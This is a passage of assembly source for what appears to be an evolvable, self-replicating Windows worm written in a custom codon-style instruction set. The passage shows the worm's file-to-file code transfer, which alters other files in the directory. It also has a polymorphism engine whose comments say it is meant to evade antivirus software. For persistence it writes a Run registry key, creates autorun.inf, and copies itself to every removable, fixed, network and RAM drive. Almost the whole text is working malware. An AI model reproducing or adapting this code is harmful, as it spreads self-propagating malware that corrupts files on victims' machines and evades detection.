_sub0001 _sub0001 _sub0001 _saveJmpOff ; mov BA2, eip _nopsD ; BC1=c _save ; BC2=c _nopsB ; BC1=InsEnd _addsaved ; BC1=InsEnd+c _saveWrtOff ; BA1=InsEnd+c _pop ; If BC1=0: mutate _push addnumber 1 _sub0001 ; Get the zer0 flag _JnzDown _nopsA ; BC1=InsStart _addsaved ; BC1=InsStart+c _getdata ; BC1=*(InsStart+c) _writeByte ; *(InsEnd+c)==*(InsStart+c) _nopsD _sub0001 _nopdD ; RegD=c-1 _JnzUp ; while --c ;;;;;;;;;;;;;;;;;;;;;;; ; c=nBlockSize; ; do ; *(InsStart+c)==_nopREAL ; while --c ; Already set: ; GetAddress InsStart ; _getdata ; _nopdA ; RegA=InsStart _zer0 0 addnumber 144 _nopdB GetAddress nBlockSize _getdata _nopdD ; RegD=nBlockSize=c ; do _getEIP _sub0001 _sub0001 _sub0001 _sub0001 _sub0001 _saveJmpOff ; mov BA2, eip _nopsD ; BC1=c _save ; BC2=c _nopsA ; BC1=InsStart _addsaved ; BC1=InsStart+c _saveWrtOff ; BA1=InsStart+c _pop ; If BC1=0: mutate _push addnumber 1 _sub0001 ; Get the zer0 flag _JnzDown _nopREAL _nopREAL _nopsB _writeByte ; *(InsStart+c)==_nopREAL _nopsD _sub0001 _nopdD ; RegD=c-1 _JnzUp ; while --c _pop ; remove (rand() % InsertThreshold1) from Stack ; ##### End of Insertion ; ############################################################################ ; _int3 ; ############################################################################ ; ##### Start of horizontal gene transfer _zer0 0 ; BC1=0 addnumber ((HGTEnd1-HGTStart1)*8) ; size of block _save _getEIP HGTStart1: addnumber 3 _addsaved _nopdB ; Save Addresse in RegB CalcNewRandNumberAndSaveIt ; -> HGTThreshold1 GetAddress RandomNumber _getdata _nopdA ; mov RegA, [RandomNumber] _zer0 0 _nopdD ; mov RegD, 0 addnumber HGTThreshold1 _div ; div BC1 <- RegD = rand() % HGTThreshold1 _nopsD _save _and ; Is zero? _JnzDown ; Simulate a JzDown _nopREAL ; BC1=0 _nopREAL _add0001 _JnzDown _nopsB ; BC1!=0 _call ; jmp over HGT _nopREAL _nopREAL GetAddress HGT_searchmask _saveWrtOff _zer0 0 addnumber 0x002A2E2A _writeDWord GetAddress WIN32_FIND_DATA_struct _push GetAddress HGT_searchmask _push CallAPI hFindFirstFileA GetAddress HGT_FFHandle _saveWrtOff _nopsA _writeDWord ; Save FindHandle _getEIP _sub0001 _sub0001 _sub0001 _sub0001 _sub0001 _saveJmpOff ; Start of the loop ; Calculate the call addresse if the file is not ok _zer0 0 addnumber ((HGTFileEnd1-HGTFileStart1)*8) _save _getEIP HGTFileStart1: addnumber 3 _addsaved _push ; Save Addresse on Stack GetAddress HGTFileHandle ; Handle to zero because it will ; be Closed later in any case, ; except for [Handle]==0x0 _saveWrtOff _zer0 0 _writeDWord GetAddress HGTMapHandle _saveWrtOff _zer0 0 _writeDWord GetAddress HGTDidInsert _saveWrtOff _zer0 0 _sub0001 _writeDWord _zer0 0 ; Is it a directory? addnumber FILE_ATTRIBUTE_DIRECTORY _save GetAddress WIN32_FIND_DATA_dwFileAttributes _getdata _subsaved 0 _JnzDown ; Simulate a JzDown _pop ; BC1=0 _push _call ; If directory -> Do not open... _nopREAL CalcNewRandNumberAndSaveIt GetAddress RandomNumber _getdata _nopdA _zer0 0 _nopdD addnumber 5 _div _nopsD _save _and _JnzDown ; Simulate a JzDown _nopREAL ; BC=0 _nopREAL _add0001 _JnzDown _pop ; BC!=0 _push _call ; Not this file... _nopREAL ; OPEN FILE NOW _zer0 0 _push _push addnumber 3 _push _zer0 0 _push addnumber 1 _push _sub0001 addnumber 0xC0000000 _push GetAddress WIN32_FIND_DATA_cFileName _push CallAPI hCreateFileA GetAddress HGTFileHandle _saveWrtOff _nopsA _writeDWord ; mov dword[HGTFileHandle], RegA _save _nopsA addnumber 1 ; INVALID_HANDLE_VALUE=-1 ; -> if error: BC1=0 _JnzDown ; Simulate a JzDown _pop ; BC1=0 _push _call ; If INVALID_HANDLE_VALUE -> Do not open... _nopREAL GetAddress HGTFileSize _push _zer0 1 _addsaved _push CallAPI hGetFileSize GetAddress HGTFileSize _saveWrtOff _nopsA _writeDWord ; mov dword[HGTFileSize], RegA _zer0 1 _push _addsaved _push _zer0 0 _push addnumber 4 _push _zer0 0 _push GetAddress HGTFileHandle _getdata _push CallAPI hCreateFileMappingA GetAddress HGTMapHandle _saveWrtOff _nopsA _writeDWord ; mov dword[HGTMapHandle], RegA _save _nopsA _save _and _JnzDown ; Simulate a JzDown _pop ; BC1=0 _push _call ; If NULL -> Do not open... _nopREAL GetAddress HGTFileSize _getdata _push ; [HGTFileSize] _zer0 1 _push ; 0 _push ; 0 addnumber 2 _push _zer0 1 _addsaved _push ; MapHandle CallAPI hMapViewOfFile GetAddress HGTMapPointer _saveWrtOff _nopsA _writeDWord ; mov dword[HGTMapPointer], RegA _nopsA _save _and _JnzDown ; Simulate a JzDown _pop ; BC1=0 _push _call ; If NULL -> Do not open... _nopREAL CalcNewRandNumberAndSaveIt GetAddress RandomNumber _getdata _nopdA _zer0 0 _nopdD GetAddress HGTFileSize _getdata _div _nopsD _save GetAddress HGTMapPointer _getdata _addsaved _push ; Start in sourcefile CalcNewRandNumberAndSaveIt GetAddress RandomNumber _getdata _nopdA _zer0 0 _nopdD GetAddress FileSize _getdata _div _nopsD _save GetAddress MapPointer _getdata _addsaved _push ; Start in my file CalcNewRandNumberAndSaveIt GetAddress RandomNumber _getdata _nopdA _zer0 0 _nopdD addnumber 11 _div _nopsD addnumber 1 _nopdD ; Size in RegD _pop ; Start in my file _nopdB _pop ; Start in victim file _nopdA _pushall _getEIP _sub0001 _sub0001 _sub0001 _sub0001 _sub0001 _saveJmpOff ; Save everything, especially the old BA2 _nopsB _saveWrtOff addnumber 1 _nopdB _nopsA addnumber 1 _nopdA _sub0001 _getdata _writeByte _nopsD _sub0001 _nopdD _JnzUp _popall ; Get old BA2 again GetAddress HGTDidInsert ; 0=already written _saveWrtOff _zer0 0 _writeDWord _push ; trash HGTFileEnd1: _pop ; from call _pop ; saved address GetAddress HGTMapPointer _getdata _push CallAPI hUnmapViewOfFile ; call UnmapViewOfFile, dword[HGTMapPointer] _getDO addnumber (hCloseHandle-DataOffset) _getdata _nopdA ; Save API in RegA GetAddress HGTMapHandle _getdata _push _save _and _JnzDown ; BC==0 _nopREAL _nopREAL _add0001 _JnzDown ; BC!=0 _nopsA ; get API offset _call ; call CloseHandle, dword[HGTMapHandle] _push ; Trash _nopREAL _pop ; remove trash _getDO addnumber (hCloseHandle-DataOffset) _getdata _nopdA ; Save API in RegA GetAddress HGTFileHandle _getdata _push _save _and _JnzDown ; BC==0 _nopREAL _nopREAL _add0001 _JnzDown ; BC!=0 _nopsA ; get API offset _call ; call CloseHandle, dword[HGTFileHandle] _push ; Trash _nopREAL _pop ; remove trash GetAddress HGTDidInsert _getdata _push ; 0...written / -1...not written GetAddress WIN32_FIND_DATA_struct _push GetAddress HGT_FFHandle _getdata _push CallAPI hFindNextFileA _pop ; HGTDidInsert _save _nopsA ; If nonzero: Next file! _and _JnzUp ; End of the loop _push ; Trash to stack HGTEnd1: _pop ; Align stack (Trash or Return address from _call) ; ##### End of horizontal gene transfer ; ############################################################################ ; ##### ; ##### ; ############################################################################ ; ############################################################################ ; _int3 ; WORKS HERE ; ############################################################################ ; ############################################################################ ; ##### ; ##### Here we find polymorphism ; ##### ; ; Together with natural mutations, also a special form of polymorphism ; can be performed. ; ; To achieve robustness under bitflip mutations, the alphabeth is ; constructed to be redundant (about 35 commands are coded within 256 ; slots). ; ; This redundancy will be used in the polymorphism. The code searchs the ; alphabeth for equal entries. If it finds two amino acids A and B, which ; are equal, then in the codesection there will be a random flip from ; codon A to codon B. ; ; There are some reasons why a mutation-system like this should be included: ; 1) The variability of the worm is much faster ; 2) Codons which point to isolated amino acids (these who can not be ; transformed by a single bitflip to another amino acid of the same kind) ; can be de-isolated. ; 3) Mutations in the polymorphism-engine could lead to unexpected ; (non-lethal) results. ; 4) Macro-Mutations are of high importance to bypass natural enemies ; (like antivirus software), thus increase fitness. ; 5) Could make some variations in START and STOP codons, which have ; unpredictable results. ; CalcNewRandNumberAndSaveIt GetAddress RPAminoAcid1 _saveWrtOff GetAddress RandomNumber _getdata _nopdA ; mov eax, [RandomNumber] _zer0 0 _nopdD ; mov edx, 0 addnumber 256 _div ; div ebx _nopsD ; BC1=rand%256 _writeDWord ; Save amino acid to compare. _push _zer0 0 addnumber 3 _save _pop _shl ; BC1=(rand%256)*8 _save GetAddress MapPointer _getdata _addsaved ; MapPoint+(rand%256)*8 addnumber (CodeStart+(StartAlphabeth-start)) ; MapPoint+(rand%256)*8+AlphabethStart _push _getdata _nopdA ; First 4 bytes of amino acid in RegA _pop addnumber 4 _getdata _nopdB ; 2nd 4 bytes of amino acid in RegB GetAddress MapPointer _getdata addnumber (CodeStart+(StartAlphabeth-start)) _nopdD ; Start of loop: _getEIP _sub0001 _sub0001 _sub0001 _sub0001 _sub0001 _saveJmpOff _zer0 0 ; BC1=0 addnumber ((RPBlock1End1-RPBlock1Start1)*8) ; size of block _save _getEIP RPBlock1Start1: addnumber 3 _addsaved _push ; Save Addresse at Stack _pushall CalcNewRandNumberAndSaveIt GetAddress RPAminoAcid2 _saveWrtOff GetAddress RandomNumber _getdata _nopdA ; mov eax, [RandomNumber] _zer0 0 _nopdD ; mov edx, 0 addnumber 256 _div ; div ebx _nopsD _writeDWord _popall _pushall GetAddress RPAminoAcid1 _getdata _nopdA GetAddress RPAminoAcid2 _getdata _nopdB _popall _zer0 0 addnumber 3 _save GetAddress RPAminoAcid2 _getdata _shl ; *8 _save _nopsD ; Get start of Alphabeth in Map _addsaved _getdata _save _nopsA _subsaved 0 _JnzDown ; Simulate JzDown _nopREAL ; BC1=0 _nopREAL _add0001 _JnzDown _nopREAL ; Not equal _pop _push _call ; jmp to RPBlock1End ; First 4 bytes are equal _pop ; Old Call-address _zer0 0 ; BC1=0 addnumber ((RPBlock2End1-RPBlock2Start1)*8) ; size of block _save _getEIP RPBlock2Start1: addnumber 3 _addsaved _push ; Save Addresse at Stack _zer0 0 addnumber 3 _save GetAddress RPAminoAcid2 _getdata _shl ; *8 _save _nopsD ; Get start of Alphabeth in Map _addsaved addnumber 4 ; Get second 4 bytes _getdata _save _nopsB ; second 4 bytes _subsaved 0 _JnzDown _nopREAL ; BC1=0 _pop _push _call ; RPBlock2End _push ; not equal! trash to stack RPBlock1End1: ; Not equal amino acids _pop ; remove "call"-return address _pop ; RPBlock1End-Jmp Address _zer0 0 addnumber 15 _save GetAddress RandomNumber _getdata ; BC1=random _shr ; BC1=random >> 15 (to get new small random number without calling the 32bit RND engine again) _and ; BC1=(random >> 15) % 0000 1111b _JnzUp ; If not zero -> Next loop! ; Not found any equivalences... _zer0 0 ; BC1=0 addnumber ((RPBlock3End1-RPBlock3Start1)*8) ; size of block _save _getEIP RPBlock3Start1: addnumber 3 _addsaved _call ; jmp to end of poly-engine: RPBlock3End RPBlock2End1: ; Equal amino acids found _pop ; remove "call"-return address _pop ; RPBlock2End-Jmp Address GetAddress MapPointer _getdata addnumber (CodeStart+(StAmino-start)) ; MapPoint+(rand%256)*8+CodonStart _nopdD GetAddress RPAminoAcid1 _getdata _nopdA GetAddress RPAminoAcid2 _getdata _nopdB _zer0 0 GetAddress FileSize _getdata addnumber (0xFFFF'FFFF-(CodeStart+(StAmino-start))-1000) ; Approximativly... _push _getEIP _sub0001 _sub0001 _sub0001 _sub0001 _sub0001 _saveJmpOff _nopsD ; Codon-Sequence Start _save _pop _push ; counter _addsaved _saveWrtOff _getdata _push _zer0 0 addnumber 255 _save _pop _and ; BC1=one byte _save _nopsA _subsaved 0 ; is equal? _JnzDown _nopsB _writeByte ; If equal: exchange codon! _nopREAL _nopREAL _pushall CalcNewRandNumberAndSaveIt _popall _zer0 0 addnumber 1 _save GetAddress RandomNumber _getdata _and addnumber 1 _save ; BC2=(rand%8)+1 _pop _subsaved 0 ; counter-=((rand%8)+1) _push _zer0 0 addnumber 4293918720 ; BC1=0xFFF0 0000 _save _pop _push _and ; BC1=(counter%0xFFF0 0000) _JnzDown _add0001 ; Not finished _JnzUp ; Next step _nopREAL _nopREAL _pop ; counter away from stack _push ; trash RPBlock3End1: _pop ; return value from call ; ##### ; ##### ; ############################################################################ ; ############################################################################ GetAddress MapPointer _getdata _push CallAPI hUnmapViewOfFile ; call UnmapViewOfFile, dword[MapPointer] GetAddress MapHandle _getdata _push CallAPI hCloseHandle ; call CloseHandle, dword[MapHandle] GetAddress FileHandle _getdata _push CallAPI hCloseHandle ; call CloseHandle, dword[FileHandle] ; ############################################################################ ; ##### Create Registry Key GetAddress AutoStartContentStart _saveWrtOff _nopdA GetAddress stSubKey ; Create the key in the data section _nopdA _saveWrtOff _zer0 0 addnumber 'SOFT' _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff _zer0 0 addnumber 'WARE' _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff _zer0 0 addnumber '\Mic' _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff _zer0 0 addnumber 'roso' _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff _zer0 0 addnumber 'ft\W' _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff _zer0 0 addnumber 'indo' _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff _zer0 0 addnumber 'ws\C' _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff _zer0 0 addnumber 'urre' _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff _zer0 0 addnumber 'ntVe' _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff _zer0 0 addnumber 'rsio' _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff _zer0 0 addnumber 'n\Ru' _writeDWord _nopsA addnumber 4 _saveWrtOff _zer0 0 addnumber 'n' _writeDWord GetAddress hRegKey _push GetAddress stSubKey _push _zer0 0 addnumber HKEY_LOCAL_MACHINE _push CallAPI hRegCreateKeyA _zer0 0 addnumber 15 _push ; 15 GetAddress Driveletter3 _push ; C:\evolusss.exe _zer0 0 addnumber REG_SZ _push ; REG_SZ _zer0 0 _push ; 0x0 _push ; 0x0 GetAddress hRegKey _getdata _push ; dword[hRegKey] CallAPI hRegSetValueExA ; ##### End Create Registry Key ; ############################################################################ ; ############################################################################ ; ##### Create Autostart file (For older and unpatched systems) GetAddress AutoStartContentStart _nopdA _saveWrtOff _zer0 0 addnumber '[Aut' _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff _zer0 0 addnumber 'orun' _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff _zer0 0 addnumber 0x530A0D5D ; ']', 0x0D, 0x0A, 'S' _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff _zer0 0 addnumber 'hell' ; huh - nice ;) _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff _zer0 0 addnumber 'Exec' _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff _zer0 0 addnumber 'ute=' _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff GetAddress RandomFileName _nopdB _getdata _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff _nopsB addnumber 4 _getdata _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff _zer0 0 addnumber '.exe' _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff _zer0 0 addnumber 0x73550A0D _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff _zer0 0 addnumber 'eAut' _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff _zer0 0 addnumber 'opla' _writeDWord _nopsA addnumber 3 _nopdA _saveWrtOff _zer0 0 addnumber 'ay=1' _writeDWord GetAddress autoruninf _nopdA _saveWrtOff _zer0 0 addnumber 'auto' _writeDWord _nopsA addnumber 4 _nopdA _saveWrtOff _zer0 0 addnumber 'run.' _writeDWord _nopsA addnumber 3 _saveWrtOff _zer0 0 addnumber '.inf' _writeDWord _zer0 0 _push ; 0x0 addnumber 2 _push ; 0x2 _zer0 0 addnumber CREATE_ALWAYS _push ; CREATE_ALWAYS _zer0 0 _push ; 0x0 _push ; 0x0 addnumber 0xC0000000 _push ; 0xC0000000 GetAddress autoruninf _push ; autoruninf CallAPI hCreateFileA GetAddress FileHandle _saveWrtOff _nopsA _writeDWord ; dword[FileHandle]=eax _zer0 0 _push ; 0x0 GetAddress MapHandle _push ; Trash-Address _zer0 0 addnumber (AutoStartContentEnd-AutoStartContentStart) _push ; Size of Buffer GetAddress AutoStartContentStart _push ; Buffer to write GetAddress FileHandle _getdata _push ; FileHandle CallAPI hWriteFile GetAddress FileHandle _getdata _push CallAPI hCloseHandle ; ##### Create Autostart file ; ############################################################################ ; ############################################################################ ; ############################################################################ ; ############################################################################ ; ##### ; ##### Main Loop (Searchs for Drives, and copies itself) ; ##### _getEIP _sub0001 _sub0001 _sub0001 _sub0001 _sub0001 _saveJmpOff ; Loop over Drive Letter A-Z _pushall _zer0 0 _nopdB ; RegB=0 GetAddress Driveletter1-1 _saveWrtOff _zer0 0 addnumber 0x003A4100 ; 0x0, "A:", 0x0 _writeDWord GetAddress Driveletter2-1 _saveWrtOff _zer0 0 addnumber 0x5C3A4100 ; 0x0, "A:\" _writeDWord _zer0 0 addnumber 26 _nopdA ; counter _getEIP _sub0001 _sub0001 _sub0001 _sub0001 _sub0001 _saveJmpOff ; Loop over Drive Letter A-Z _pushall GetAddress Driveletter1+2 _saveWrtOff _zer0 1 _writeByte GetAddress Driveletter1 _push CallAPI hGetDriveTypeA _nopsA _save ; save Drive type _zer0 1 addnumber 0x0010 _push _zer0 1 addnumber 2 ; BC1=2 _subsaved 1 _JnzDown ; Is DRIVE_REMOVABLE? _pop ; Stack=0x0010 _push _nopdB ; RegB=0x0010 -> FILE+AUTOSTART _nopREAL _pop ; Trash away _zer0 1 addnumber 0x0040 _push _zer0 1 addnumber 3 ; BC1=3 _subsaved 1 _JnzDown ; Is DRIVE_FIXED? _pop _push ; RegB=0x0040 -> FILE _nopdB _nopREAL _pop ; Trash away _zer0 1 addnumber 0x0010 _push _zer0 1 addnumber 4 ; BC1=4 _subsaved 1 _JnzDown ; Is DRIVE_REMOTE? _pop _push ; RegB=0x0010 -> FILE+AUTOSTART _nopdB _nopREAL _zer0 1 addnumber 6 ; BC1=6 _subsaved 1 _JnzDown ; Is DRIVE_RAMDISK? _pop _push ; RegB=0x0010 -> FILE+AUTOSTART _nopdB _nopREAL _pop ; Trash away ; ############################################################################ ; ##### Copy autorun.inf (or not) GetAddress autoruninf _nopdA ; address to "autorun.inf" to RegA GetAddress Driveletter2 _nopdD ; address to "?:\autorun.inf" to RegD _nopsB _save _zer0 1 addnumber 0x0010 ; (FILE+AUTOSTART) _subsaved 1 _JnzDown _nopREAL ; BC1=0x0 _push ; bFailIfExists=FALSE _nopsD _push ; lpNewFileName="?:\autorun.inf" GetAddress hCopyFileA _getdata _nopdD _zer0 1 addnumber 0x0010 ; (FILE+AUTOSTART) _subsaved 1 _JnzDown _nopsA _push ; lpExistingFileName="autorun.inf" _nopsD _call ; stdcall dword[hCopyFileA] _nopsB _save ; restore BC2 (=RegB) _zer0 1 addnumber 0x0040 _push _zer0 1 addnumber 0x0010 ; (FILE+AUTOSTART) _subsaved 1 _JnzDown _pop _push _nopdB _save ; also copy child executable _pop ; Trash away ; ##### End Copy autorun.inf (or not) ; ############################################################################ ; ############################################################################ ; ##### Copy child executable (or not) GetAddress Driveletter1+2 _saveWrtOff _zer0 1 addnumber 0x5C ;'\' _writeByte GetAddress RandomFileName _nopdA ; address to "NNNNNNNN.exe" to RegA GetAddress Driveletter1 _nopdD ; address to "?:\NNNNNNNN.exe" to RegD _nopsB _save _zer0 1 addnumber 0x0040 ; (FILE+AUTOSTART) _subsaved 1 _JnzDown _nopREAL _push ; bFailIfExists=FALSE _nopsD _push ; lpNewFileName="?:\NNNNNNNN.exe" GetAddress hCopyFileA _getdata _nopdD _zer0 1 addnumber 0x0040 ; (FILE+AUTOSTART) _subsaved 1 _JnzDown _nopsA _push ; lpExistingFileName="NNNNNNNN.exe" _nopsD _call ; stdcall dword[hCopyFileA] ; ##### End Copy child executable (or not) ; ############################################################################ _popall GetAddress Driveletter1 _saveWrtOff _getdata addnumber 1 _writeByte GetAddress Driveletter2 _saveWrtOff _getdata addnumber 1 _writeByte _nopsA _sub0001 _nopdA _JnzUp _popall _zer0 0 addnumber 0x6666 _push CallAPI hSleep _zer0 0 addnumber 1 _JnzUp ; ##### ; ##### End Main Loop ; ##### ; ############################################################################ ; ############################################################################ ; ############################################################################ EndAminoAcids1: ; ################################################################## display 13,10,'- - -',13,10,'displayAminoAcidDistribution:',13,10 display '=============================',13,10 displayAminoAcidDistribution AminoAcidList EndAmino: .end start